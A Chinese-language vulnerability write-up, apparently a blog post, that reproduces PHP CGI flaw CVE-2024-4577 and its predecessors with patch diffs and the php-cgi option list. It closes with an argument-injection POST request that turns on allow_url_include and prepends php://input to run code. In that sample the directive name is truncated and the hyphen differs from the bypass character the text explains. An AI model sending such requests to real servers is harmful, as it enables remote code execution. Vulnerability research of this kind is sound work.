CVE-2024-4577 PHP CGI漏洞複現及研究

漏洞簡介

CVE-2024-4577是一個 PHP CGI 的參數注入漏洞,這個漏洞繞過了 CVE-2012-2311 的保護,透過 windows BEST-Fit 的特性,構造不存在的 urlencode 字元讓 Windows 解析出 - 字元,從而繞過 php cgi 的保護機制。

漏洞分析

要了解這個漏洞,我們需要先坐時光機回到最初的漏洞,也就是CVE-2012-2311更之前的 PHP 5.3.11

CVE-2012-1823

漏洞成因

首先,我們有一個先備知識要知道,那就是 http server 呼叫 CGI 時,會連同 request 的 query 一起當成參數傳給 CGI ,例如:我今天存取了 http://192.168.22.16/php-cgi/php-cgi.exe?foo 時,apache 啟動CGI 的 commandline 其實長這樣:

因此攻擊者只要構造出開頭為 - 的 querystring , CGI 就會把他當成參數解析,從而導致參數注入漏洞。

漏洞修補

針對 CVE-2012–1823 出現的漏洞,PHP在 5.3.12 將漏洞 patch 掉,方法是檢查 querystring 的開頭是不是 -

1
2
3
4
5
6
7
8
9
10
-	while ((c = php_getopt(argc, argv, OPTIONS, &php_optarg, &php_optind, 0)) != -1) {
+ if(query_string = getenv("QUERY_STRING")) {
+ decoded_query_string = strdup(query_string);
+ php_url_decode(decoded_query_string, strlen(decoded_query_string));
+ if(*decoded_query_string == '-' && strchr(query_string, '=') == NULL) {
+ skip_getopt = 1;
+ }
+ free(decoded_query_string);
+ }
+ while (!skip_getopt && (c = php_getopt(argc, argv, OPTIONS, &php_optarg, &php_optind, 0)) != -1) {

CVE-2012-2311

漏洞成因

在 5.3.12 發佈後不到一個禮拜就被人 bypass 了,因為只要在-前面塞空格就好(?)

漏洞修補

PHP官方很快就發佈了 5.3.13 版本,這次他們先把前面的空白都變不見(pointer往後移),再檢查開頭是不是 -

1
2
3
4
5
6
for (p = decoded_query_string; *p &&  *p <= ' '; p++) {
/* skip all leading spaces */
}
if(*p == '-') {
skip_getopt = 1;
}

CVE-2024-4577

時隔12年,這個保護機制又被繞掉了,但這次並不影響到全部的php版本,而是只有某些特定語系的 Windows 作業系統,且需要由 CGI 解析才會觸發。

漏洞成因

這個漏洞是因為在 Windows 上有 BEST-Fit 的特性,讓攻擊者在繁體中文等特定語系環境的 Windows 直接生出一個完全不存在的字元(0xad)卻可以被解析成 - ,當然,你也可以透過這份文件,找找看其他語系的 windows 有沒有可以 bypass 的字元。

如何利用

首先,我們可以來看看 PHP CGI 有哪些參數可以下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ php-cgi --help                                                                                                                                                                   ─╯
Usage: php-cgi [-q] [-h] [-s] [-v] [-i] [-f <file>]
php-cgi <file> [args...]
-a Run interactively
-b <address:port>|<port> Bind Path for external FASTCGI Server mode
-C Do not chdir to the script's directory
-c <path>|<file> Look for php.ini file in this directory
-n No php.ini file will be used
-d foo[=bar] Define INI entry foo with value 'bar'
-e Generate extended information for debugger/profiler
-f <file> Parse <file>. Implies `-q'
-h This help
-i PHP information
-l Syntax check only (lint)
-m Show compiled in modules
-q Quiet-mode. Suppress HTTP Header output.
-s Display colour syntax highlighted source.
-v Version number
-w Display source with stripped comments and whitespace.
-z <file> Load Zend extension <file>.
-T <count> Measure execution time of script repeated <count> times.

應該可以馬上發現, -d 參數非常有用,你可以把所有會妨礙你使用 LFI to RCE 的安全選項全部關掉,然後再用偽協議把髒髒的東西都寫進來

1
2
3
POST http://example.com/?-d%20allow_url_include%3Don%20-d%20auto_prepend%3Dphp%3A%2F%2Finput%2F%0A

<?php phpinfo() ?>

透過php://filter偽協議include惡意程式碼